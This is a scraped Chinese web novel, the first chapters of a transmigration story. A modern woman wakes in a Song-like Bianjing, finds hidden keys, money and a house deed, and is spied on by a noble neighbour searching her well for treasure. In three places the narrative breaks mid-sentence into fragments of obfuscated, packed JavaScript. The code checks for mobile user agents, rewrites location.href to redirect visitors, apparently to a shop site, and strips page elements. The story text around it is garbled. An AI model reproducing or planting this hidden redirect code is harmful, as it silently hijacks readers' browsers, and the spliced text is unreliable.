《汴京饮馔食记》 1. 我在哪？ 秋雨微凉，裹着几许潮意浸入屋中。 孟嫣缓缓挣开了眼睛。 望着陌生的帐顶，她一时有些回不过神，习惯性地抬手摸向枕下的手机却摸了个空。 秀眉微蹙，孟嫣又摸向身侧，依然没有手机的影子。 她只好坐起身来，却猛然又倒回了床上，只觉阵阵眩晕袭来。 门“吱呀”一声开了，随即响起一道脚步声。 循声望去，先入眼的是一扇绘有花鸟的屏风，然后才看到一个身着粗布衣裳的妇人绕过屏风朝床前走来。 妇人手里端着一只托盘，托盘上放着一只黑釉碗，里面还隐隐冒着些微热气。 到了床前，妇人惊喜的声音响起：“孟小娘子，你终于醒了！” 陌生的声音，怪异的称呼。 妇人看上去四十左右，宽头圆面，一双喜人的眼睛透着欣喜和关切。 她将托盘放到床边的桌案上，然后摸了摸孟嫣的额头，微微俯身问道：“孟小娘子，可还有哪里不适？” 孟嫣被此时的情景震的有些缓不过来，下意识地摇了摇头。 妇人见此，欣喜更甚，转身又出了门去，没多一会儿功夫，就听到院中传来一嗓子高吼：“二郎——！快去请庞郎中来，孟小娘子醒了！” 此声刚落，就远远传来一声清亮的“哎！”。 随即，妇人又回来了，将桌案上的碗端到了孟嫣面前，用勺子搅了搅。 孟嫣还没喝就闻到了碗里的苦气。 妇人搅的差不多了，方道：“小娘子，药已经温了，刚好入口，先把这药喝了？一会儿郎中来了再给娘子瞧瞧。” 语气亲近，称呼却十分客气，看上去没有恶意。 孟嫣没有说要不要先喝药，而是缓缓开口：“我、我这是怎么了？” 声音有气无力，软绵绵的。 妇人见此，心疼道：“小娘子这身子病歪歪的几个月了，本就受不得忽冷忽热，昨日这天突然就冷了下来，娘子就起了高热，一直替娘子诊病的庞郎中都说娘子可能……” 说到此处，妇人突然住了嘴，又用空着的那只手朝自己嘴上打了两下，才笑着继续道：“总之，庞郎中说，小娘子只要能醒过来，就无性命之忧了！” 孟嫣整理了一下话里的信息，看来这副身体本就不太好，昨日又发高烧烧晕了，差点没了命。 再多的信息没有了。 还待要多问问，院中就传来了刚刚那清亮的男子声音：“阿娘，庞郎中来了。” 妇人起身去开门，将庞郎中请了进来。 孟嫣的目光又望向刚进来的庞郎中。 头发束起，须发半白，身着深色长衫，一只手里提着医箱。 他先给孟嫣诊了脉，又让孟嫣张嘴看了看舌头。 面露讶异，随即捋着胡须笑道：“孟小娘子吉人天相，不仅度过了此次高热，连心郁之症都好了许多，我给小娘子换个方子，加上膳食调理，多出去走走，多晒晒日头，想来不出数月就会和常人无异了。” 妇人听后眉开眼笑，连忙谢道：“有劳庞郎中了，这几个月来多亏了你。” 庞郎中摆了摆手，笑着写起了方子，写好后又交代方子要如何服用方才离开。 孟嫣望向妇人，思忖着要如何再问问，就听妇人笑着道：“小娘子别和孙婶婶客气，邻里互相照应不是应该的？何况你阿娘……你给了我们不少方便，还付了银钱，孙婶婶拿了小娘子的银钱，自然要妥帖地好生照看小娘子。” 妇人说完，端起冷掉的药碗，又笑道：“这碗药是不用喝了，等二郎抓了新方子回来，我重新煎一碗，小娘子先歇歇。” 说完端着托盘出了门去。 屋中安静下来。 孟嫣只好先整理庞郎中和妇人话里的信息，她的这副身体之前有心郁，现在养上几个月就会无碍，她叫这妇人孙婶婶，是她的邻居，孙婶婶这样照顾她，是因为她付了钱…… 孟嫣的思绪忽然一顿……方才想到了一个更大的问题…… 她这是在哪里？ 有了第一次猛然起身眩晕的经验，这次她缓缓坐起，之后细细打量起了这间屋子。 与床相对的是那扇花鸟屏风，东面离床不远的地方是一张长条桌案，上面摆放着镜台和妆奁，并几只大小不一的漆匣，漆匣旁边是一只青釉花瓶。 桌案靠里侧的一边放着一对漆器箱笼，另一侧是一只方几，上面有一只小香炉。 挨着方几的，是一张书案，书案和屏风平行，上面摆了笔墨纸砚和几本书册。 西侧则是衣橱，然后又是桌案和椅櫈，桌案上孤零零放了一支烛台。 这真切的感觉不是梦境，那只能是穿越了。 穿越二字，对现代的人来说并不陌生。 从小说、长剧、短视频，总有这样的故事，就是穿越去的时代和穿越成了什么人很重要。 目之所及，她穿越到了古代无疑，从孙婶婶和庞郎中叫自己“小娘子”来看，自己大概率是穿越到了宋朝。 就是不知这个大宋是历史上真实存在的大宋，还是只是和大宋一样风貌的其他朝代。 若是宋朝，她多少还了解一些，生活上不至于两眼一抹黑。 再者，也很显然，原身定然没受过什么苦，从这双绵软无骨青葱如玉的手就能看出来。 只是屋内陈设简单，原身极可能是逢遭变故落了难，否则身边不可能连个照顾的人都没有，却要付银子给邻居孙婶婶，请她来照顾自己。 再加上此刻她一身素衣，大概率是在为亲人服丧。 另外，从孙婶婶衣着来看就是平头百姓，而孙婶婶现在是她的邻居，她今后大概也是要过市井百姓的生活了。 孟嫣幽幽轻叹。 任古代再有什么这个“之治”那个“盛世”，于平民百姓而言，和现代定然相差很多。 古代即便是盛世，百姓也不过是能吃饱肚子而已，更遑论其他追求。 抛开这些其他追求，就说在现代，最起码的“吃喝拉撒”中的后三项，于百姓而言就十分便利。 而对于古代百姓可就不会如此了。 古代平民百姓用的水和厕所……想来任何一个现代人……都很难适应的……吧？ 平民百姓和高门富户可相差太多了。 有的朝代百姓能用上清水的都少之又少，更不用说有个干净厕所了。 若是一城之官对通渠除秽不做重视，那岂不满城皆屎尿？ 孟嫣还真不是瞎想，她就曾看过一篇书目，里面写到某一朝代某个城市街道：“雨后则中皆粪壤，泥溅腰腹，久晴则风起尘扬，颠面不识。” 这说的不就是一场雨后，粪都被冲到了大街上，一个不好就溅了满身？ 孟嫣是煮饭都要时不时拧开水龙头冲手的，此刻不自觉打了个激灵，整个人有些不太好。 她深吸一口气，虽做不到既来之则安之，但也要暂时先忘掉这些，毕竟总不能死回去呀？ 更何况如果要死回去，她还要面对自小就不亲近的父母。 要说她的穿越，或许与父母的那通电话不无关系。 她从不主动联系父母，父母也极少联系她。 但她每次接到父母电话都会心情极差，常常十天半个月缓不过来。 她自小被父母送到了奶奶身边，初中时才被接回去，随即又住在寄宿学校，直到大学毕业都没怎么在那个家里住过。 她和父母除了那点血缘关系，真的没有什么更深的感情，相反，更多的还是畏惧。 父母明面说是因为有了一对双胞胎女儿，怕照顾不好她才将她送到乡下奶奶那里。 实际她自小就知道，是因为父母嫌弃她，嫌弃她性子软绵内向，不能像别家孩子一样大方开朗。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926575|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 面对父母，不会表达自己的诉求，面对亲戚和父母的朋友同事，又不会像其他孩子一样大声叫人。 她的存在，总让父母觉得丢脸。 她的印象里，父母从没笑过，只有严肃的一遍又一遍的说着“你就不能像谁谁谁一样？”“你就不能大声叫人？”“长嘴只用来吃饭的？” 她不是不能大声叫人，她只是生来声音细小，别人不仅听不见，还会被说扭捏。 直到她被从奶奶那里接回去，见到父母对双胞胎妹妹常常温柔的笑，才知道父母原来也会笑呀，也会温柔的说话，只是不是对她。 这一次的电话，她不记得父母说了些什么，只记得挂了电话后，心脏一落再落，似乎落进了胃里，绞的胃里发疼，再加上连夜修改甲方图纸，惊惧痛苦加上疲惫，才导致自己猝死穿越吧！ 想到这里，孟嫣突然疏阔了许多，好像穿越到这里也不是什么可怕的事。 至少，她再也不会和让她自小就产生畏惧的父母在同一时空了，任他们再怎么找自己也不会找到。 思及此，孟嫣觉得心口都轻快了，仿佛那常年压在她胸口裹挟着亲情的巨石倏地不见了。 她踩上软鞋下床，朝摆放镜台的桌案走去，望向镜中。 镜中人的样貌就是她原本的样貌，大概因为生病，下颏尖尖，原本肉嘟嘟的脸颊也瘦了下去，眼睛看上去也比往日大上许多。 只是此刻眉心微蹙，似是还有一缕化不开的忧愁，像是习惯了一般，倒是有一副我见犹怜的姿态。 这大概是原身常有的表情，只不过成了肌肉记忆。 她试着展眉，又缓缓弯起眼睛，露出浅淡的略带公式化的微笑。 这才是自己。 只是对着镜子笑了一会儿，神情就垮了下去，眉心又露出和刚刚一样的愁绪。 她很幸运，从工作开始，同事温和，极好相处，说话也都轻声细语，她的软绵内向和天生声小就不会特别突兀，她和甲方的沟通也都通过线上，这不妨碍她能赚钱养活自己。 生活上，也赶上了很好的时代，衣食住行也不必开口说话，都可以线上解决。 即便一定要打电话，电话也有音量大小，都不妨碍她和别人沟通。 可是这里还没有那么发达的科技…… 出行基本靠走，通讯基本靠吼…… 孙婶婶那一嗓子高吼突然回荡在耳边，孟嫣一下子就又不好了。 愁苦间，她无意踢到了桌案旁的箱笼，磕的她脚指微微发麻。 她朝旁侧看去，漆器箱笼是双门样式，和乌木漆的桌案一个颜色，上面雕了暗色花纹，箱笼门上上了锁。 若换成她自己，绝对不会把贵重东西放在这么明显的地方，即便上了锁也不行。 锁这个东西，就是防君子不防小人啊！找把斧头就能劈开。 孟嫣犹豫着要不要找把斧头时，屋门再次“吱呀”一声开了。 紧接着，孙婶婶绕过屏风又端着托盘进来了，托盘上依旧放了一只黑釉碗，碗里依旧冒着些微热气。 孙婶婶见孟嫣坐在了梳妆台旁，便走了过来，笑着道：“这是庞郎中新开的方子，这次药得趁热喝，小娘子不如先喝了？” 这次孟嫣没闻到苦气，遂接过了药碗，一口气喝了个干净。 孙婶婶将空了的药碗又放回了托盘上，临走前又道：“小娘子愿意起来动动是好事，外面雨已经停了，小娘子可以听庞郎中的，去院子里走走，身子恢复的快些。” 说完才又绕过屏风出了门去。 孟嫣又望向桌案旁的两只箱笼，虽然现在想打开它们，但白日里有外人在，的确不怎么方便。 更重要的是，她现在也没钥匙，要是去寻把斧头让人看见只会更觉奇怪，便暂时歇了心思。 出去看看也未尝不可，箱笼等晚上再想法子打开也不迟，遂起身朝外走去。 2. 你好？ 雨的确已经停了，青色的天空还透出了阳光，照的小院各处亮晶晶的。 孟嫣动了动鼻子，雨后初晴的味道里夹杂着一丝桂花香。 孟嫣喜欢桂花，遂眼睛弯起笑成了月牙，颊边还露出两汪浅浅的梨涡。 好像比她想象中的要好上许多，于是带着一丝好奇打量起了这座小院。 宅子是一进院落，正房是三开间带两个耳房，东西各有厢房两间，她就住在正房的东次间。 从院子大门到正房和东西厢房之间，铺就了一条臂宽的十字砖石路，此时上面还洇湿着雨水的痕迹。 其他地方则没有砖石，都是碎石瓦砾铺就的土路。 堂屋东侧是一株繁茂的海棠，现在只有枝干，上面挂着稀疏泛黄的叶子。 院子东南方向是一棵桂花树，桂花香就是从这里飘散开来。 西南方向则是一棵丰茂的柿子树，黄澄澄的柿子挂满枝头，已经探出了墙去。 院子四周的墙根下，则稀疏长着细竹。 这一切竟让孟嫣有几许恍惚，仿佛回到了奶奶的乡下小院，那个唯一可以让她恣意的地方。 只是这座院子里除了这几株树就再无其他，和奶奶的小院比起来，终究少了些生机勃勃。 孟嫣想，这没关系，她可以慢慢改造呀。 这般想着，她又望向别处，更加惊喜的发现，院子东北方向，竟然有一口井！ 井口高于地面，用砖石垒砌成台，上面盖了圆木板。 要知道，在古代平民百姓家里可不是都能有一口井的。 百姓用水，只能提着水桶到官府打的官井去提水，人多不说，若是离着还远，每日提水就要费许多功夫。 而现下院中有了这口井，她就不必为用水发愁了，用水就自由了许多。 孟嫣笑容灿烂地奔到井旁，一点一点用力将井口的圆木板移开，扒着井沿朝里面望去，井水清澈，冰凉怡人。 她忍不住想试试，自己能不能提上一桶水来。 只是刚起身，就见两名男子正扒在对面的墙头。 其中一人凤眼狭长，剑眉斜飞，一身深色锦袍，居高临下望着她，虽然扒着墙，气势却说不出的倨傲。 另一人则长相讨喜，像是男人的随从，见孟嫣望过来，呆立半晌方喃喃道：“原来这孟家女竟是这样的可人。” 说完就冲孟嫣露齿一笑，正要说什么，就被身侧的锦袍男子一把掀翻在墙后，随即听到一声“哎呦”就没了其他声音。 孟嫣吓了一跳，立刻敛了笑容，颊边的梨涡也倏地不见了。 一直生活在安全国度的她，没想二人有是坏人的可能，更没想到古代男女大防的事。 乍见生人，只是心里多了几许不自在，但还是被更多的好奇压了过去。 孟嫣缓缓眨了眨眼睛，露出浅淡的公式化微笑，习惯性地礼貌道：“你、你好……”呀？ 说到半路才觉不对，这时候“你好”还不是打招呼的方式。 锦袍男子却没说话，目光一直放在她身上，不过片刻又朝门口方向看了一眼，轻身也消失在墙后。 锦袍男子消失后，院子的大门打开了，随后孙婶婶的声音就传了过来：“小娘子怎么站在那？井口比别处凉些，小娘子大病初愈，该离着远些才是。” 说着就进了院中，这次手里提着一只食盒。 见到食盒，孟嫣还真有些饿了，朝锦袍男子消失的墙头看了一眼就收回了目光。 孙婶婶见孟嫣还傻站着，轻叹一声，道：“小娘子饿了吧？快进去吃些东西吧？” 孟嫣便听话地抬步进了屋子。 只是她不知原身平日在哪里用饭，进屋后就故意慢上一步，余光觑着孙婶婶的一举一动。 孙婶婶却没注意，自顾朝东次间屏风外的食案走去，又麻利地将食盒内的饭食摆放出来。 孟嫣朝食案望去，一碗清粥并两小碟油水都看不见的青菜。 份量极少，还十分寡淡，难怪原身会瘦成这般模样了。 孟嫣不禁又暗暗朝孙婶婶看了两眼，见她神色坦然，应不是她故意为之，便缓缓坐了下来，端起粥碗慢慢小口小口吃了起来。 孙婶婶并没走，而是坐在了孟嫣对面。 孟嫣本就腼腆内向，独自吃饭时，尚且都不会有大口吃饭的吃相，现在有不太熟悉的人在，吃的就更慢了。 孟嫣最后只喝了半碗清粥就放下了筷子。 孙婶婶则几不可闻地轻叹一声，又有些欲言又止地看着她。 孟嫣轻声道：“孙婶婶有什么话可以直接说的。” 孙婶婶先叹了口气，才道：“小娘子听婶婶一句，无论发生什么，身子才最重要，整日吃这些，小娘子身子怎么能快些好？若是、若是小娘子的爹爹阿娘知道，不知该多心疼。” 孙婶婶说完，小心地观察着孟嫣神色，见孟嫣神色没什么变化，心底松了口气，这才接着道：“庞郎中这次新开了方子之余，又写了几道药膳，若小娘子愿意，之后婶婶就给娘子做来？” 原来吃的这般寡淡是原身自己的要求呀。 孟嫣便笑着道：“那就有劳孙婶婶了。” 孙婶婶听孟嫣答应，高兴的“哎”了一声，道：“那晚上我替小娘子煮肉粥来，明日再加一道药膳鸡，这药膳鸡吃上几日再换成药膳软羊，用不了冬日时，娘子的身子定能恢复了，这也对得起娘子父母的在天之……” 说到这里，孙婶婶突然没了声，又小心翼翼看向孟嫣。 孟嫣知道了，原身是在为父母守丧。 古人父母去世，要守丧三年，勋贵高门及官宦之家必须严格遵守，对平民百姓要求却没这么严。 毕竟百姓还要生产劳作，若因守丧不去劳作就没得吃用了，但三年里还是要素衣素食，除非身子已经孱弱病重的厉害。 孙婶婶既然劝原身别吃这般寡淡，想来原身服素的时间已经够了，再加上身子不好，看来吃肉不会违背礼法。 孟嫣弯起眼睛：“多谢婶婶，我省的。” 孙婶婶才又松了口气，继续笑了开来，一边将碗碟收拾进食盒，一边说道：“小娘子万万不可去井边了，娘子若想取水煮茶，厨房的水缸里就有，是今早二郎新提的，井边太凉，娘子的身子遭不住。” 孟嫣听后认真点头，却突然问道：“婶婶，东边隔壁……” “东边隔壁呀，那里原来住的是兵部李员外郎，两个月前升了官就搬走了，去别的地方赁了宅子。” 孙婶婶将食盒盖上，提了起来，又道：“那原本是廖员外的一处宅子，平日也是用来租赁的，两个月前有买主将宅子买了下来，现在还没见着人呢。” 孙婶婶想着孟嫣可能担心隔壁新邻居不好相处，便安慰道：“小娘子放心，咱们汴京人都热心着呢，不用担心相处不来，若那边扰了娘子，婶婶去帮你说道。” 说完又嘱咐孟嫣歇歇，才又离开。 虽然孙婶婶最后也没说出隔壁住了谁，却意外得知这里是汴京城。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926576|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >汴京，北宋都城，繁华之地。 孟嫣欣喜之余又有了紧迫感，无论现代古代，京城的开销都小不了，尤其是住房。 她还不知自己住的这座宅子是不是也是租赁的。 孟嫣又想起了那两只箱笼，如果不想用斧头劈开，得快点找到钥匙才是。 就在孟嫣惦记着如何打开两只箱笼的时候，东墙隔壁的萧遇和他的长随林檎正念叨着她。 “侯爷，我觉得孟家传闻的那些财宝应该就藏在了那口井里。”林檎笃定地叭叭道。 萧遇坐在茶案前把玩着茶盏，没说话。 林檎见侯爷不说话，继续叭叭道：“你看，咱们住进来这两个月都没怎么见过孟家女出屋门，夜里又把隔壁院子都翻遍了也没找到藏财宝的地方，现在就那口井里和孟家女住的屋里没找过了，刚刚孟家女一出来就朝那口井奔去，财宝若不是藏在那里她那么着急做什么？” 林檎见侯爷依旧不说话，就自顾自地继续叭叭。 萧遇脑子里则映出那双笑弯的眼睛和浅浅的梨涡，还有那句“你好”。 你好什么？ 好高大？好英俊？好伟岸？还是……好吓人？ 这孟家女长得那么……绵软，身子又那般纤弱，身藏巨财，她孤身一人要如何安稳的活下去？ 她若聪明些，把财宝悉数交出，还能安稳度日，否则他日别人也找到了这里，她恐怕难有宁日了。 想到此处，萧遇端起茶盏，送到唇边，发现茶盏已空，便又将茶盏放下。 林檎还在耳边叭叭：“侯爷，今晚要不要去那口井里探探？” 萧遇给茶盏里倒了茶，再次端起，喝了一口，才“嗯”了一声。 日暮西垂。 孟嫣将屋内找遍也没找到一把钥匙，之后她还去了用作厨房的东边耳房和用作厕所的西边耳房，自然也没找到。 不过可喜的是，西耳房里的厕所十分干净，还用屏风间隔出了浴间。 所谓厕所，不过是两只马桶而已，马桶里还铺了草木灰，和猫砂有异曲同工之处，不同的是，如厕后不用像猫儿一样自己埋…… 孙婶婶说，每日晚上，将用过的马桶放到固定的地方，负责这片街巷的倾脚头在天明之前自会将马桶里的污秽收走，然后运送到城外专门收粪沤肥的人那里。 这让孟嫣彻底放了心，汴京城里应该不会出现雨过粪流的场景了。 孙婶婶晚上的确送来了肉粥，就是味道实在不怎么好，孟嫣还是硬着头皮吃了半碗。 等她熟悉了这里，还是自己开火煮饭才好呀。 另外，这里可是汴京城，再不济还可以去外面买来吃，就是不知如何同孙婶婶开口。 孟嫣心底又多了几分惆怅，她一向不太擅长处理这样的事，要想个合适的借口才行。 孙婶婶将原身照顾的很好，临走前还在灶上烧了热水。 这副身子刚大病初愈，孟嫣只简单的洗漱擦拭一翻就准备睡了。 暮鼓已过，算算时辰，现在也不过才戌时而已，孟嫣了无睡意。 她在床上翻来覆去，又习惯性的摸向枕下找手机，再次摸了个空之后才骤然记起，她已经穿越了。 孟嫣正准备将手撤回，忽而觉得枕下有什么硬硬的东西硌到了手背。 她顺着硬物摸了过去，隐隐摸出了钥匙的形状。 孟嫣翻身而起，就着朦胧的月光点燃了灯烛，将那硬物从枕头里一点一点拽了出来。 竟然真是两把钥匙！ 3. 我有钱 孟嫣欣喜非常，拿着烛台快步走到了两只箱笼前，将烛台放下后，轻而易举地打开了一只箱笼。 饶是有心里准备，还是有一丝惊愕，惊愕过后，随即而来的就是几许复杂。 这只箱笼里，装满了穿起来的铜钱，其中一串已经散开，看来是一段时日取出来一些花用。 可一箱笼铜钱能有多少？若换成银子还能让孟嫣欣喜一些。 孟嫣数了数，大概不到三百贯钱，也就是不到三百两银子，若学李康靖公，“日悬百钱于壁，用尽即止”，倒是能用个七八年。 可人活在世，除了穿衣吃饭，总还有个生病买药的时候，再加上住房…… 说到住房，孟嫣还不知道原身现在住的房子是租赁的还是原身自己的…… 孟嫣整个人又一次惆怅起来，只觉前路茫茫，女子在古代自己养活自己可比在现代难太多了。 心底又一声叹息，只觉压力有点大，随即打开了另外一只箱笼。 朝里看去，这只箱笼里面倒不是满箱铜钱，而是几只各式雕花盒子。 孟嫣取出一只打开，里面不过是些钗环首饰，想来也能值些银钱。 复又取出一只，和第一只一样，直到取出最后一只，打开后一愣。 盒子里的最上面竟是一张契书！ 孟嫣心如擂鼓，拿起契书凑近烛火细细看了一遍，上面写了宅子的大小、位置、价格、以及买卖双方的名字，这是盖了官印的赤契！ 也就是说，这宅子是原身的！原身和她还是同一个名字，也叫孟嫣。 大起大落！心情大起大落呀！ 孟嫣心头的压力一下子就轻了不少，弯起眼睛笑了起来。 虽然穿越到了汴京，成了市井小民，却是有宅子的市井小民，并且宅子的位置在小甜水巷，这里也算汴京城的一隅繁华之地。 小甜水巷……孟嫣想到什么，连忙从旁边箱笼里取出一枚铜钱，只见上面写了“盛隆通宝”。 孟嫣又翻看一贯没解开的铜钱，里面有的写着“盛隆通宝”，有的写着“建兴通宝”，都不是大宋的钱币，甚至好像也不是她熟悉的真实历史上的钱币。 看来，她是穿越到了一个和大宋有着几近相同风貌的朝代了。 想到这里，孟嫣不禁又惆怅起来。 风貌可以相同，但命脉可不可以不相同？ 毕竟无论北宋、南宋，都太平不了多长时间。 惆怅的孟嫣，又继续翻看起盒子里其他的纸张，祈祷着如果都是赤契就好了，那她在这里就可以收租度日了，生活上就不用发愁了。 只是祈祷没起什么用，下面的几张都是钱庄柜坊的存钱凭证，又叫“钱帖”。 孟嫣算了算，这几张钱帖加起来共有一千两银子，再算上那三百贯，她手里现在有不到一千三百两银子，宅子又是她自己的，还有一些钗环首饰，只要她别再生什么大的病症，这些银钱应该能花用好一阵子。 至于赚钱一事，可以慢慢计议。 现在当务之急，是将这些契书钱帖藏到一个更稳妥的地方才是。 孟嫣站起身来，在屋中转悠起来，看看哪里更适合藏放这只盒子。 此刻，宅院中。 萧遇和林檎已经躲在海棠树后好一阵子了。 主仆二人本想趁着夜里去井中探探，里面有没有藏了传闻中的财宝，遂翻墙而入，还没有所行动，屋里竟然亮起了灯烛。 二人一度以为被屋内之人发现了，这才隐在海棠树后一动也不敢动。 静等良久，屋中那影子终于站起了身，本以为是要睡了，然而那个影子却在屋子里打起了转。 林檎看着那个影子转来转去有些着急，不停地给主子使眼色，询问现在该怎么办。 萧遇却没注意。 他脑子里正浮现白日里那道纤弱身形，此刻竟和屋里的这道影子重合了，让他觉得“纤弱”不足以形容她，还要加上"窈窕"二字。 萧遇移开目光，觉得自己这般有些失礼，却见林檎正给他使眼色。 萧遇：“走吧，明晚再来。” 正要悄悄离开，却见一直给他使眼色的林檎“嘘”了一声，压低声音道：“侯爷再等等，孟家女要睡了。” 果然，林檎刚说完，屋内就熄了灯。 林檎得意地朝自家主子笑出一口白牙，这口白牙竟比今晚这朦胧的月色还亮，衬得他本就不白的一张脸比海棠树的枝干还黑。 萧遇对自己随从这副德性已经见怪不怪，只朝已经熄了灯的屋内看了一眼，就朝那口井走去。 林檎赶紧跟上。 这次，他定要为侯爷找这笔财宝立头功，把那个没事就闷不吭声鄙视他的戍安比下去。 林檎气势轩昂地走到井边，轻手轻脚地将井口的圆木板搬开，然后开始脱衣。 刚解开腰间的锦带，就被萧遇拦住：“穿上。” 林檎傻眼：“穿着衣裳我不好施展。” 萧遇：“难道要让孟娘子喝你的弃水吗？” 林檎委屈：“我又不脏……” 萧遇一言难尽，这是脏不脏的问题吗？ 林檎看着面无表情看着自己的主子，只好又将锦段腰带系回去，嘴里还嘟囔道：“这可是我新做的腰带，花了五贯钱呢！” 萧遇：“明天再去做两条，银钱找戍安支取。” 林檎一听，立刻眉开眼笑，麻利地系好腰带，又将带来的绳子系在腰间，另一头交到自家主子手里，缓缓朝井中落去。 只是刚松开井沿，屋内的灯烛又亮了。 萧遇神情一紧，立即拽了三下绳子。 还没落下去的林檎立即又顺着绳子爬了上来，一手扒住井边，一手攀着绳子，神色和他主子一样紧张。 就在二人以为，孟嫣还是如刚才一样在屋里打转时，正屋的门开了。 主仆二人齐齐僵住，大气也不敢出。 堂堂长宁侯，半夜三更私闯市井小民家……里的一口井……这要是被人知道了，岂不是让人笑话？ 故而二人硬生生的保持着纹丝不动，生怕发出一丝一毫的声音。 井壁湿滑，林檎有些扒不住，全靠腰间绳子吊着。 而拉着绳子的萧遇则用了十成力气，手背上都泛起了青筋。 二人一个扒在井里，一个站在井边，齐齐望着门的方向。 终于，一盏亮着的灯烛先从门里颤颤巍巍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926577|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探了出来，然后才是小心谨慎的一颗脑袋。 这颗脑袋披头散发，带着几分小心缓缓地朝院子里扫视一圈，似乎在水井的方向停留了一瞬。 画面过于诡异，林檎一紧张，扒着井沿的那只手一滑，顺着绳子朝井底坠去。 只下坠一瞬又被腰间的绳子拉住，整个人悬在井中。 月色不是特别亮，却也没特别暗，从正屋门处是能清楚地看到井边的二人的。 孟嫣却只是一扫而过，就端着烛台朝西耳房快步走去。 原来孟嫣本想找个合适的地方藏那些契书钱贴，找了一圈都没发现更合适的地方，最后只好暂时又锁回了箱笼里。 夜已深，孟嫣也有了睡意，这才熄了灯。 只是躺在床上昏昏欲睡之时，突然忘记了睡前小解，这才再次起身。 躺在床上时还不觉得怕，可一但下床出了屋门，才记起不大的院子里，只有她一个人。 这么一想，心底就有些发毛。 故而在扫视院子时，只是意思意思警惕一翻，都没敢睁开眼。 等她小解回来，萧遇主仆二人已经又翻回去了。 直到孟嫣安心睡下，萧遇主仆二人还在一墙之隔的隔壁墙根处蹲着，直到彻底没了动静才双双松了一口气。 林檎：“候爷，莫不是这孟家女有眼疾？” 萧遇则在思忖着，这孟家女究竟看没看见二人？ 若是看见了，为何没什么反应？是这商贾之女本就狡诈奸滑？还是故意假装没看见，好保全自己？ 萧遇沉默一瞬，道：“改日试探一下便知。” 林檎点了点头，又问：“侯爷，那这井……”今晚还下不下？ 萧遇：“明晚让戍安过来。” 林檎一听要让这个总鄙视他的人过来，愤愤道：“戍安水性没我好！” 萧遇：“戍安能听声辨物，可以不下井。” 林檎：……那怎么不早说？ 孟嫣睡了一个好觉。 次日一醒，精神十足。 刚盥洗完，孙婶婶就提着食盒过来了。 早饭依旧是肉粥，孟嫣一边硬着头皮喝粥，一边想着如何将今后打算自己开火的想法说出，想的太过专注，连孙婶婶说了什么都没注意。 直到孙婶婶一连叫了几声“小娘子”她才回神，茫然小声问道：“怎么了？” 孙婶婶心底又轻叹一声。 昨日还以为孟小娘子多有好转，没想到仅过了一晚，就又和从前一样了，时不时就走神，然后就开始掉眼泪。 不过这次孟小娘子好像不像要掉眼泪的样子？ 孙婶婶暗暗观察了片刻，见孟嫣脸上只有茫然再无其他，就小心翼翼又说了一遍：“小娘子之前虽来过京城两次，想来短短几日也没能好好逛逛，这次虽已住了几个月，却鲜少出门。庞郎中让小娘子多出去走走，多晒晒日头，不如让婶婶带你出门逛逛？” 孟嫣在孙婶婶的话里又得到了一个信息：她不是汴京人氏，且对汴京不熟。 这对她而言倒是个好消息，这样她有什么不懂的直接问出口，也不会被怀疑。 孟嫣便顺水推舟道：“那就有劳孙婶婶了。” 4. 去采买 孙婶婶见孟嫣竟然答应了，高兴地“哎”了一声，又道：“和婶婶客气什么？小娘子让我们家白用那口井，可给了我们大方便了，我们谢娘子还来不及呢！” 原来昨日说的“给了我们不少方便”是指这个。 孟嫣：“那婶婶也别一口一个小娘子叫我了，今后就叫我阿嫣吧。” 孙婶婶听后愣了一瞬，却拒绝道：“这可不行，小娘子心善不想和婶婶见外，但婶婶还是要守着规矩的。娘子每月都付给我三贯钱，让我照顾娘子，娘子的吃用还另算，这都快赶上那高门富户里的二等女使的月钱了，我自然要拿娘子当东家看待，怎还可蹬鼻子上脸越了规矩去？” 孟嫣张了张嘴，一时不知要说些什么。 她说那句也是因为孙婶婶说了句“和婶婶客气什么”，她不过是礼尚往来而已。 何况，只是个名姓称呼，她真没想到会有这么大的说法。 孟嫣本就不擅长处理这样的事情，只好随她去了。 不过这又让她知道了，原来原身每月是付给孙婶婶三贯钱来请她照顾自己，再加上其他花用，原身一个月的花销能超过五贯钱去？ 如果是这样的话，那这三百贯钱还真能用个五年呢！再加上那一千两银子的钱帖…… 惊喜来的猝不及防，孟嫣瞬间将孙婶婶那翻话抛诸脑后，笑吟吟道：“孙婶婶，我吃好了，现在就出门吧？” 孙婶婶一听，瞬间也忘了刚刚称呼的问题，连声笑着应“好”，起身就将碗碟收进食盒送回隔壁去。 孟嫣则去换了一身出门的素色衣裙，又取了三百文钱放进了一个斜跨包里。 斜挎包上绣了细竹，三百文放进去后还挺沉，差不多有两斤多重。 这是孟嫣第一次对钱有了实感，就是不知这两斤多重的铜钱都能买些什么？禁不禁得住花？ 想到这里，刚刚的惊喜瞬间被扑灭。 